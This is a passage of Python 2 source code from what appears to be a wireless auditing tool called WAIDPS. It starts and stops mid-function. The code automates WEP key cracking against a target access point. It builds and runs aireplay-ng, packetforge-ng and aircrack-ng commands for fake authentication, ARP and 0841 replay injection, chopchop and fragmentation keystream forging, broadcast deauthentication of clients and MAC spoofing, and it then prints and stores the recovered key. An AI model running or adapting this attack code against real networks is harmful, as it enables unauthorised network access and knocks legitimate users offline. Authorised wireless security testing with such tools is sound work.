                                    cmd="packetforge-ng -0 -a " + __builtin__.ATTACK_AP_BSSID + " -h " +  str(__builtin__.SELECTED_ATK_MAC) + " -k " + str(DecryptedIP) + " -l " + str(DecryptedGW) + " -y " + str(__builtin__.SavedKeyStream) + " -w " + ARPChopFile
                                    ps=subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
                                    ps.wait();ps.stdout.close()
                                    if IsFileDirExist(ARPChopFile)=="F":
                                        printl (fcolor.BGreen + "Done...\n" ,"1","")
                                        __builtin__.WEP_ARPFILELIST=AddIfNotDuplicate(ARPChopFile,__builtin__.WEP_ARPFILELIST)
                                        printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Chopchop ARP replay packet saved in " + fcolor.BWhite + str(ARPChopFile) + "\n"  ,"0","")
                                        __builtin__.ProcID=WEPAttackMode("CCR",FName,ARPChopFile,"1")
                                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                                    else:
                                        ARPChopFile=""
                                        printl (fcolor.BRed + "Failed !!\n" ,"1","") 
                                if str(line).find("Completed in")!=-1:
                                    print ""
                                    printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BGreen + line + "\n","0","")
                                    LoopCheck="1"
                                    DelFile(OutFile,"0")
                                    ChopChopProc="1"
                            if LoopCheck=="":
                                open(OutFile,"w").write("")
            OutFile=FName + "_Fragmentation.txt"
            LoopCheck=""
            if IsFileDirExist(OutFile)=="F":
                printl ("\r" + tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Waiting for packets.....Please wait" ,"0","")
                __builtin__.SavedChosen=""
                while LoopCheck=="":
                    while sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
                        usr_resp = sys.stdin.readline()
                        if usr_resp:
                            LineBreak()
                            usr_resp=AskQuestion("Abort ?","y/N","U","N","1")
                            if usr_resp=="Y":
                                LoopCheck="1"
                                DelFile(OutFile,"0")
                    if IsFileDirExist(OutFile)=="F":
                        with open(OutFile,"r") as f:
                            mline=""
                            tlist=[]
                            for line in f:
                                line=line.replace("\r","").replace("\n","").replace("\00","").replace("\x1b[K","")
                                tlist=str(line).split(" ")
                                if str(line).find("Saving ARP requests in")!=-1 or str(line).find("Saving chosen packet in")!=-1:
                                    Cat=str(line).split(" ")
                                    if len(Cat)>4:
                                        Result=str(Cat[4])
                                        if Result!="":
                                            if IsFileDirExist(tmpdir + Result)=="F":
                                                __builtin__.WEP_ARPFILELIST=AddIfNotDuplicate(Result,__builtin__.WEP_ARPFILELIST)
                                                __builtin__.SavedChosen=Result
                                                printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Chosen packet saved in " + fcolor.BWhite + str(__builtin__.SavedChosen) + "\n"  ,"0","")
                                if str(line).find("Saving")==-1 and str(line).find("Waiting for")==-1 and str(line).find("Now you can")==-1 and str(line).find("For information")==-1 and str(line).find("Read ")==-1:
                                    sStr=str(line)[10:]
                                    sStr=str(sStr).replace("Data packet ",fcolor.BGreen + "Data packet ")
                                    sStr=str(sStr).replace("No answer",fcolor.SYellow + "No answer")
                                    sStr=str(sStr).replace("Not enough acks",fcolor.SYellow + "Not enough acks")
                                    sStr=str(sStr).replace("Got RELAYED ",fcolor.SYellow + "Got RELAYED ")
                                    sStr=str(sStr).replace("Trying to ",fcolor.BGreen + "Trying to")
                                    sStr=str(sStr).replace("Got a deauthentication ",fcolor.SRed + "Got a deauthentication ")
                                    printc (" ",fcolor.SWhite + Now() + " - " + fcolor.SGreen + sStr,"")
                                if tlist[0]=="Read":
                                    if tlist[1]!="":
                                        printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Read " + fcolor.BGreen + str(tlist[1]) + fcolor.SGreen + " Packets...." ,"0","")
                                if str(line).find("Saving keystream in")!=-1:
                                    __builtin__.SavedKeyStream=tlist[3]
                                    shutil.copy(tmpdir + str(__builtin__.SavedKeyStream),savedir + "Fragment_" + str(__builtin__.ATTACK_AP_BSSID).replace(":","") + ".xor")
                                    __builtin__.SavedKeyStream=savedir + "Fragment_" + str(__builtin__.ATTACK_AP_BSSID).replace(":","") + ".xor"
                                    printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Keystream (XOR) packet saved in " + fcolor.BWhite + str(__builtin__.SavedKeyStream) + "\n"  ,"0","")
                                    printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Forging ARP Packet with IP as " + fcolor.BYellow + "255.255.255.255" + fcolor.SGreen + " and Gateway as " + fcolor.BYellow + "255.255.255.255" + fcolor.SGreen + " ...."  ,"1","")
                                    PRGAFile=tmpdir + "PRGA.cap"   
                                    cmd="packetforge-ng -0 -a " + __builtin__.ATTACK_AP_BSSID + " -h " +  str(__builtin__.SELECTED_ATK_MAC) + " -k 255.255.255.255 -l 255.255.255.255 -y " + str(__builtin__.SavedKeyStream) + " -w " + PRGAFile
                                    ps=subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
                                    ps.wait();ps.stdout.close()
                                    if IsFileDirExist(PRGAFile)=="F":
                                        printl (fcolor.BGreen + "Done...\n" ,"1","")
                                        __builtin__.WEP_ARPFILELIST=AddIfNotDuplicate(PRGAFile,__builtin__.WEP_ARPFILELIST)
                                        printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Fragmentation ARP replay packet saved in " + fcolor.BWhite + str(PRGAFile) + "\n"  ,"0","")
                                        __builtin__.ProcID=WEPAttackMode("CCR",FName,PRGAFile,"1")
                                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                                    else:
                                        PRGAFile=""
                                        printl (fcolor.BRed + "Failed !!\n" ,"1","") 
                                if str(line).find("Now you can build a packet with packetforge-ng out")!=-1:
                                    print ""
                                    printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BGreen + "Fragmentation Method Completed" + "\n","0","")
                                    LoopCheck="1"
                                    DelFile(OutFile,"0")
                                    LineBreak()
                            if LoopCheck=="":
                                open(OutFile,"w").write("")
            while sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
                usr_resp = sys.stdin.readline()
                if usr_resp:
                    print ""
                    LineBreak()
                    printc ("i",fcolor.BBlue + "Auditing Menu [WEP]","")
                    DisplayAPDetail()
                    MSG=""
                    MSG=MSG + tabspacefull + fcolor.BRed + "1 " + fcolor.SWhite + " - Stop Auditing\n"
                    MSG=MSG + tabspacefull +fcolor.BRed + "2 " + fcolor.SWhite + " - Deauth All\n" 
                    MSG=MSG + tabspacefull +fcolor.BRed + "3 " + fcolor.SWhite + " - List clients\n"
                    MSG=MSG + tabspacefull +fcolor.BRed + "4 " + fcolor.SWhite + " - Spoof MAC Address\n" 
                    MSG=MSG + tabspacefull +fcolor.BRed + "5 " + fcolor.SWhite + " - Close all attacking terminal\n" 
                    MSG=MSG + tabspacefull +fcolor.BRed + "6 " + fcolor.SWhite + " - List saved ARP replay files [ " + fcolor.SRed + str(len(__builtin__.WEP_ARPFILELIST)) + " files" + fcolor.SWhite + " ] \n" 
                    MSG=MSG + tabspacefull +fcolor.BRed + "7 " + fcolor.SWhite + " - List all captured files  [ " + fcolor.SRed + str(len(FFILE)) + " files" + fcolor.SWhite + " ] \n" 
                    MSG=MSG + tabspacefull + fcolor.BRed + "8 " + fcolor.SWhite + " - " + fcolor.BRed + "L" + fcolor.SWhite + "ookup Database History\n"
                    MSG=MSG + tabspacefull +fcolor.BRed + "F " + fcolor.BWhite + " - Authentication Method [1 - Fake Authentication]\n"
                    MSG=MSG + tabspacefull +fcolor.BRed + "     F1" + fcolor.SWhite + " - Fake Authentication (1 Time)\t\t\t" +fcolor.BRed + "F2" + fcolor.SWhite + " - Fake Authentication (Continous)\n"		# aireplay-ng -1 6000 -o 1 -q 10 -e ESSID -a BSSID -h ATMAC atmon0
                    MSG=MSG + tabspacefull +fcolor.BRed + "I " + fcolor.BWhite + " - Attack Method [2 - Interactive Replay]\n"
                    MSG=MSG + tabspacefull +fcolor.BRed + "     I1" + fcolor.SWhite + " - Interactive Natural Replay *\t\t\t" +fcolor.BRed +"I2" + fcolor.SWhite + " - Interactive 0841 Replay (Modified)\n"
                    MSG=MSG + tabspacefull +fcolor.BRed + "     I3" + fcolor.SWhite + " - Interactive 0841 Replay (Rebroadcast)\t\t" + fcolor.BRed + "I4" + fcolor.SWhite + " - Interactive 0841 Replay (68/86 ARP)\n"	# aireplay-ng -2 -b BSSID -c FF:FF:FF:FF:FF:FF -h ATMAC -p 0841 -m 68 -n 86 atmon0  # Need replay aireplay-ng -2 -b BSSID -h ATMAC -p 0841 -r replay_src-xxxx atmon0
                    MSG=MSG + tabspacefull +fcolor.BRed + "     I5" + fcolor.SWhite + " - Interactive 0841 Replay (Send Beacon)\t\t" +fcolor.BRed + "I6" + fcolor.SWhite + " - Interactive 0841 Replay (Clear-To-Send)\n"	# aireplay-ng -2 -b BSSID -h ATMAC -p 0841 -v 12 -u 1 -w 0  -m 10 - n 2000 
                    MSG=MSG + tabspacefull +fcolor.BRed + "     I7" + fcolor.SWhite + " - Interactive ARP Replay [ " + fcolor.SRed + str(len(__builtin__.WEP_ARPFILELIST)) + " files" + fcolor.SWhite + " ] \n" 	# aireplay-ng -2 -r WEP_ARPFILE atmon0
                    MSG=MSG + tabspacefull +fcolor.BRed + "A " + fcolor.BWhite + " - Attack Method [3 - ARP Request]\n"
                    MSG=MSG + tabspacefull +fcolor.BRed + "     A1" + fcolor.SWhite + " - ARP Request Replay *\t\t\t\t" +fcolor.BRed + "A2" + fcolor.SWhite + " - ARP Request Replay (Existing ARP)\n"	# aireplay-ng -3 -b BSSID -h ATMAC - r WEP_ARPFILE atmon0
                    MSG=MSG + tabspacefull +fcolor.BRed + "O " + fcolor.BBlack + " - Attack Method [4~7 Attack Method] - Not ready\n"
                    MSG=MSG + tabspacefull +fcolor.BRed + "     O1" + fcolor.SWhite + " - KoreK Chopchop Attack\t\t\t\t" +fcolor.BRed + "O2" + fcolor.SWhite + " - Fragmentation Attack\n"
                    MSG=MSG + tabspacefull +fcolor.BRed + "     O3" + fcolor.SBlack + " - Cafe-Latte Attack [Client-Oriented]\t\t" +fcolor.BRed + "O4" + fcolor.SBlack + " - Hirte Attack [Client-Oriented]\n"
                    MSG=MSG + tabspacefull +fcolor.BRed + "C " + fcolor.BWhite + " - WEP Cracking Method\n"
                    MSG=MSG + tabspacefull +fcolor.BRed + "     C1" + fcolor.SWhite + " - Standard Method  [All Bits]\n"
                    MSG=MSG + tabspacefull +fcolor.BRed + "     C2" + fcolor.SWhite + " - 10 Hex / 5 Char  [64  Bits]\t\t\t" +fcolor.BRed + "C3" + fcolor.SWhite + " - 26 Hex / 13 Char [128 Bits]\n"
                    MSG=MSG + tabspacefull +fcolor.BRed + "     C4" + fcolor.SWhite + " - 32 Hex / 16 Char [152 Bits]\t\t\t" +fcolor.BRed + "C5" + fcolor.SWhite + " - 58 Hex / 29 Char [256 Bits]\n"
                    MSG=MSG + tabspacefull +fcolor.BRed + "     C6" + fcolor.SWhite + " - Korek Cracking Method\t\t\t\t" +fcolor.BRed + "C7" + fcolor.SWhite + " - Enable Last Keybyte Bruteforce\n"
                    MSG=MSG + tabspacefull +fcolor.BRed + "     C8" + fcolor.SWhite + " - Enable Last 2 Keybytes Bruteforce\t\t" +fcolor.BRed + "C9" + fcolor.SWhite + " - WEP-Decloak Mode\n"
                    MSG=MSG + tabspacefull + fcolor.BRed + "9/R" + fcolor.SWhite + " - " + fcolor.BYellow + "R" + fcolor.SWhite + "estart Auditing\n"
                    MSG=MSG + tabspacefull +fcolor.BRed + "0" + fcolor.SWhite + " - Return"
                    print MSG
                           
                    usr_resp=AskQuestion("Select an option",fcolor.BRed + "0" + fcolor.BYellow + " - Return","U"," ","1")
                if usr_resp!="0" or usr_resp=="Q":
                    print ""
                    if usr_resp=="1":
                        LineBreak()
                        DisplayComplete(__builtin__.TStart)
                        KillSubProc(__builtin__.Sniffer)
                        ShutDownAuditingWindows()
                        print "";printc ("x","","")
                        if __builtin__.LIVE_MON=="":
                            OptAuditing("")
                        return;
                    elif usr_resp=="8" or usr_resp=="L":
                        OptInfoDisplay("","1")
                    elif usr_resp=="2" or usr_resp=="D":
                        LineBreak()
                        DeauthBroadcast(__builtin__.ATTACK_AP_BSSID,__builtin__.SELECTED_ATK,5)
                    elif usr_resp=="3" or usr_resp=="L":
                        if len(__builtin__.CUR_CLIENT)>0:
                            ListClientFound()
                        else:
                            printc ("!",fcolor.SRed + "No client found !!","")
                            print "";printc ("x","","")
                    elif usr_resp=="4" or usr_resp=="S":
                        ListClientFound()
                        Result=ChangeMACAddr(__builtin__.SELECTED_ATK,"","")
                        if Result!="":
                            __builtin__.ProcID=WEPAttackMode("AAPC",FName,"","1")
                            __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                            print ""
                            printc (".",fcolor.SWhite + Now() + " - " + fcolor.BPink + "Auditing Access Point [ " + fcolor.BYellow +str(TargetMAC) + fcolor.BPink + " ] using " + fcolor.BRed + str(ATTACK_TYPE) + fcolor.BPink + " methods ...","")
                            __builtin__.ProcID=WEPAttackMode("ARP_1",FName,"","")
                            __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                            __builtin__.ProcID=WEPAttackMode("0841_1",FName,"","")
                            __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                            TRY0841=1
                    elif usr_resp=="5":
                            printc (".",fcolor.SWhite + Now() + " - " + fcolor.BPink + "Terminating all Auditing terminals...","")
                            printc (" " , "                      " + fcolor.SRed + "Note :" + fcolor.SWhite + "You will need to launch new attacking mode in order to crack the WEP.","")
                            Search="WAIDPS - Auditing"
                            KillProc(Search)
                    elif usr_resp=="6":
                        DisplayARPFileList()
                    elif usr_resp=="7":
                        ListCapturedFile(TargetMAC2)
                    elif usr_resp=="O1":
                        __builtin__.ProcID=WEPAttackMode("KCC",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="O2":
                        __builtin__.ProcID=WEPAttackMode("FRAG",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="F1" or usr_resp=="F":
                        __builtin__.ProcID=WEPAttackMode("AAP1",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="F2":
                        __builtin__.ProcID=WEPAttackMode("AAPC",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="A1":
                        __builtin__.ProcID=WEPAttackMode("ARP_1",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="A2":
                        __builtin__.ProcID=WEPAttackMode("ARP_2",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="C": 
                        __builtin__.ProcID=WEPAttackMode("CRACK_WEP64",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                        __builtin__.ProcID=WEPAttackMode("CRACK_WEP128",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="C1": 
                        __builtin__.ProcID=WEPAttackMode("CRACK_WEP",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="C2": 
                        __builtin__.ProcID=WEPAttackMode("CRACK_WEP64",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="C3": 
                        __builtin__.ProcID=WEPAttackMode("CRACK_WEP128",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="C4": 
                        __builtin__.ProcID=WEPAttackMode("CRACK_WEP152",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="C5": 
                        __builtin__.ProcID=WEPAttackMode("CRACK_WEP256",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="C6": 
                        __builtin__.ProcID=WEPAttackMode("CRACK_WEPKorek",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="C7": 
                        __builtin__.ProcID=WEPAttackMode("CRACK_WEPX1",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="C8": 
                        __builtin__.ProcID=WEPAttackMode("CRACK_WEPX2",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="C9": 
                        __builtin__.ProcID=WEPAttackMode("CRACK_WEPDecloak",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="IA": 
                        TRY0841=1
                        __builtin__.ProcID=WEPAttackMode("0841_1",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                        __builtin__.ProcID=WEPAttackMode("0841_2",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                        __builtin__.ProcID=WEPAttackMode("0841_3",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                        __builtin__.ProcID=WEPAttackMode("0841_4",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                        __builtin__.ProcID=WEPAttackMode("0841_5",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                        __builtin__.ProcID=WEPAttackMode("0841_6",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="I1": 
                        __builtin__.ProcID=WEPAttackMode("0841_1",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                        TRY0841=1
                    elif usr_resp=="I2": 
                        __builtin__.ProcID=WEPAttackMode("0841_2",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="I3": 
                        __builtin__.ProcID=WEPAttackMode("0841_3",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="I4": 
                        __builtin__.ProcID=WEPAttackMode("0841_4",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="I5": 
                        __builtin__.ProcID=WEPAttackMode("0841_5",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="I6": 
                        __builtin__.ProcID=WEPAttackMode("0841_6",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="I7": 
                        __builtin__.ProcID=WEPAttackMode("IA_ARP_REPLAY",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="O3": 
                        __builtin__.ProcID=WEPAttackMode("CAFE",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="9" or usr_resp=="R":
                        printc ("i", fcolor.BPink + "Restarting New Sniffer...","")
                        RerunCapturedFile(TargetMAC,TargetChannel)
                    LineBreak()
                else:
                    retkey=""
            time.sleep(1)
            if IsFileDirExist(str(__builtin__.WEPKeyFile))=="F":
                WEP_CRACKED="1"
            Rev += 1
            if str(PIVs2)!=str(IVs):
                Rate=int(IVs)-int(PIVs2)
                if int(PIVs2)==0:
                    Rate=0
                PIVs2=str(IVs)
            else:
                RateR=RateR+1
                if RateR==2:
                    Rate=0;RateR=0
                       
                
            if str(Rev)=="20":
                Rev=0
                if str(PIVs)!=str(IVs):
                    PIVs=str(IVs)
                    WEP_NOINJ=""
                else:
                    WEP_NOINJ="1"
                    print ""
                    printc (" " ,fcolor.SWhite + Now() + " - " + fcolor.SRed + "IVs does not seem to be increasing...you may want to try other method.." ,"")
                    if TRY0841==0:
                        TRY0841=1
                        __builtin__.ProcID=WEPAttackMode("0841_1",FName,"","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    TODEAUTH=TODEAUTH+1
                    if TODEAUTH>5:
                        TODEAUTH=0
                        DeauthBroadcast(__builtin__.ATTACK_AP_BSSID,__builtin__.SELECTED_ATK,5)
                if str(PBeacon)!=str(Beacon):
                    PBeacon=str(Beacon)
                    WEP_NOINJ=""
                else:
                    WEP_NOINJ="1"
                    print ""
                    printc (" " , fcolor.SWhite + Now() + " - " + fcolor.SRed + "Did not recieve any beacon from Access Point." ,"")
                    printc (" " , "                      " + fcolor.SRed + "Is [WAIDPS - Sniffing Packet] terminal still open ?\n" ,"")
                
    x=0
    KillSubProc(str(__builtin__.CrackProc))
    KillSubProc(str(__builtin__.Sniffer))
    KillAllProcList()
    while x<len(__builtin__.ProcIDList):
        ProcID=__builtin__.ProcIDList[x]
        KillSubProc(str(ProcID))
        x += 1
    ShutDownAuditingWindows()
    if WEP_CRACKED=="1" and IsFileDirExist(str(__builtin__.WEPKeyFile))=="F":
        DisplayComplete(__builtin__.TStart)
        ps=subprocess.Popen("cat " + str(__builtin__.WEPKeyFile), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'))	
        WEP_KEY=ps.stdout.read().replace("\n","").upper()
        print "";print ""
        printc ("i",fcolor.SWhite + Now() + " - " + fcolor.BBlue + "WEP Encryption for Access Point [ " + fcolor.BYellow +str(__builtin__.ATTACK_AP_BSSID) + fcolor.BBlue + " ] successfully cracked.. ","")
        printc (" ","\t\t\t  - " + fcolor.BBlue + "WEP Key Found [ " + fcolor.BRed +str(WEP_KEY) + fcolor.BBlue + " ]","")
        print ""
        AddCrackDB(__builtin__.ATTACK_AP_BSSID,"WEP",WEP_KEY,__builtin__.ATTACK_AP_ESSID,"","","")
        DelFile(FName + "*.*","")
        DelFile(tmpdir + "replay_arp-*.cap","")
        DelFile(tmpdir + "replay_src-*.cap","")
        LineBreak()
    else:
        DisplayComplete(__builtin__.TStart)
    LineBreak()
    printc ("x","","")
    if __builtin__.LIVE_MON=="":
        OptAuditing("")

def KillAllProcList():
    x=0
    while x<len(__builtin__.ProcIDList):
        ProcID=__builtin__.ProcIDList[x]
        KillSubProc(str(ProcID))
        x += 1
    __builtin__.ProcIDList=[]

def ListCapturedFile(TargetMAC2):
    __builtin__.WEP_File=tmpdir + "WEP_" + str(TargetMAC2) + "_TMP-" + "*.cap"
    printc ("i",fcolor.BBlue + "List of captured files.","")
    os.chdir(tmpdir)
    FName=tmpdir + "WEP_" + str(TargetMAC2) + "_TMP"
    __builtin__.WEPKeyFile=FName + "_KEY.txt"
    cl=0
    fct=0
    FFILE=[]
    FFILE=glob.glob(__builtin__.WEP_File)
    FFILE.sort()
    if len(FFILE)>0:
        while cl<len(FFILE):
            GetFileDetail(FFILE[cl])
            if int(__builtin__.FileSizeB)<200:
                GoodBad="Bad"
            else:
                GoodBad=""
            rlist=[]
            PKT_TOTAL=0
            PKT_WEP=0
            PKT_WPA=0
            PKT_CWEP=0
            LPKT_TOTAL=""
            LPKT_WEP=""
            LPKT_WPA=""
            LPKT_CWEP=""
            LPKT=""
            cmd = ['airdecap-ng',FFILE[cl]] 
            decap = Popen(cmd, stdout=PIPE, stderr=NULLOUT)
            decap.wait()
            readout=str(decap.stdout.read()).lower()
            open(tmpdir + "tmp","w").write(readout)
            with open(tmpdir + "tmp","r") as f:
                for line in f:
                    line=line.replace("\n","").replace("\x1b[k","")
                    if str(line).find("number of packets read")!=-1:
                        rlist=str(line).split(" ")
                        PKT_TOTAL=str(rlist[len(rlist)-1])
                        if str(PKT_TOTAL)!="":
                            LPKT_TOTAL="Total : " + str(PKT_TOTAL) + " pkts,"
                    if str(line).find("number of wep data packets")!=-1:
                        rlist=str(line).split(" ")
                        PKT_WEP=str(rlist[len(rlist)-1])
                        if str(PKT_WEP)!="":
                            LPKT_WEP="\tWEP : " + str(PKT_WEP) + " pkts, "
                    if str(line).find("number of wpa data packets")!=-1:
                        rlist=str(line).split(" ")
                        PKT_WPA=str(rlist[len(rlist)-1])
                        if str(PKT_WPA)!="" and str(PKT_WPA)!="0":
                            LPKT_WPA="WPA : " + str(PKT_WPA) + " pkts, "
                    if str(line).find("number of corrupted wep  packets")!=-1:
                        rlist=str(line).split(" ")
                        PKT_CWEP=str(rlist[len(rlist)-1])
                        if str(PKT_CWEP)!="" and str(PKT_CWEP)!="0":
                            LPKT_CWEP="Corrupted WEP : " + str(PKT_CWEP) + " pkts"
                    LPKT=str(LPKT_TOTAL) + str(LPKT_WEP) + str(LPKT_WPA) + str(LPKT_CWEP)
                    if LPKT[-2:]==", ":
                        LPKT=LPKT[:-2]
            FName=str(FFILE[cl]).replace(tmpdir,"")
            printc(" ",fcolor.SGreen + str(FName) + "\t" + fcolor.SWhite + str(__builtin__.FileModified) + "\t" + str(__builtin__.FileSize).ljust(15) + str(LPKT), "")
            fct = fct + 1
            cl = cl+1
        print ""
        DelFile (tmpdir + "tmp","")
        DelFile (tmpdir + "WEP_" + str(TargetMAC2) + "_TMP-*-dec.cap","")
        printc ("i",fcolor.BWhite + "Total " + fcolor.BRed + str(fct) + fcolor.BWhite + " file(s) listed.","")
    else:
        printc ("!",fcolor.SRed + "No captured file found !!","")
        print "";
        printc ("x","","")

def WEPAttackMode(Mode,FName,ARPFile, ToDisplay):
    ARPFileUse=""
    if str(__builtin__.ATTACK_AP_ESSID)!="":
        AddESSID="-e \x22" + str(__builtin__.ATTACK_AP_ESSID) + "\x22 "
    else:
        AddESSID=""
    WEPAttack=""
    WEP_METHOD=""
    Skip=""
    if Mode=="AAP1":
        if ToDisplay=="1":
            printc (".",fcolor.SWhite + Now() + " - " + fcolor.BPink + "Single Associating with Access Point [ " + fcolor.BYellow + str(__builtin__.ATTACK_AP_BSSID) + fcolor.BPink + " ]...","")
        cmdLine="xterm -geometry 100x5-0-150 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Associating Access Point (Single)' -e 'aireplay-ng -1 0 -a " + str(__builtin__.ATTACK_AP_BSSID)  + " -h " + str(__builtin__.SELECTED_ATK_MAC) + " " + str(AddESSID) + str(__builtin__.SELECTED_ATK) + "'"
        ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
        __builtin__.ProcID=ps.pid
        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
    if Mode=="AAPC":
        if ToDisplay=="1":
            printc (".",fcolor.SWhite + Now() + " - " + fcolor.BPink + "Sending keep-alive packet to Access Point [ " + fcolor.BYellow + str(__builtin__.ATTACK_AP_BSSID) + fcolor.BPink + " ]...","")
        cmdLine="xterm -geometry 100x5-0-150 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Associating Access Point (Keep Alive)' -e 'aireplay-ng -1 6000 -o 1 -q 10 -a " + str(__builtin__.ATTACK_AP_BSSID)  + " -h " + str(__builtin__.SELECTED_ATK_MAC) + " " + str(AddESSID) + str(__builtin__.SELECTED_ATK) + "'"
        ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
        __builtin__.ProcID=ps.pid
        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
    if Mode=="CRACK_WEP":
        WEPAttack="2"
        WEP_METHOD="Launching WEP Cracker" 
        cmdLine="xterm -geometry 100x20-0-0 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Cracking WEP' -e 'aircrack-ng -a 1 -l " + str(__builtin__.WEPKeyFile) + " " + str(__builtin__.WEP_File) + "'"
    if Mode=="CRACK_WEP64":
        WEPAttack="2"
        WEP_METHOD="Launching WEP Cracker" 
        cmdLine="xterm -geometry 100x20-0-0 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Cracking WEP [64Bit]' -e 'aircrack-ng -a 1 -n 64 -l " + str(__builtin__.WEPKeyFile) + " " + str(__builtin__.WEP_File) + "'"
    if Mode=="CRACK_WEP128":
        WEPAttack="2"
        WEP_METHOD="Launching WEP Cracker" 
        cmdLine="xterm -geometry 100x20-0-0 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Cracking WEP [128Bit]' -e 'aircrack-ng -a 1 -n 128 -l " + str(__builtin__.WEPKeyFile) + " " + str(__builtin__.WEP_File) + "'"
    if Mode=="CRACK_WEP152":
        WEPAttack="2"
        WEP_METHOD="Launching WEP Cracker" 
        cmdLine="xterm -geometry 100x20-0-0 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Cracking WEP [152Bit]' -e 'aircrack-ng -a 1 -n 152 -l " + str(__builtin__.WEPKeyFile) + " " + str(__builtin__.WEP_File) + "'"
    if Mode=="CRACK_WEP256":
        WEPAttack="2"
        WEP_METHOD="Launching WEP Cracker" 
        cmdLine="xterm -geometry 100x20-0-0 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Cracking WEP [256Bit]' -e 'aircrack-ng -a 1 -n 256 -l " + str(__builtin__.WEPKeyFile) + " " + str(__builtin__.WEP_File) + "'"
    if Mode=="CRACK_WEP512":
        WEPAttack="2"
        WEP_METHOD="Launching WEP Cracker" 
        cmdLine="xterm -geometry 100x20-0-0 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Cracking WEP [512Bit]' -e 'aircrack-ng -a 1 -n 512 -l " + str(__builtin__.WEPKeyFile) + " " + str(__builtin__.WEP_File) + "'"
    if Mode=="CRACK_WEPKorek":
        WEPAttack="2"
        WEP_METHOD="Launching WEP Cracker" 
        cmdLine="xterm -geometry 100x20-0-0 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Cracking WEP [Korek]' -e 'aircrack-ng -a 1 -K -l " + str(__builtin__.WEPKeyFile) + " " + str(__builtin__.WEP_File) + "'"
    if Mode=="CRACK_WEPX1":
        WEPAttack="2"
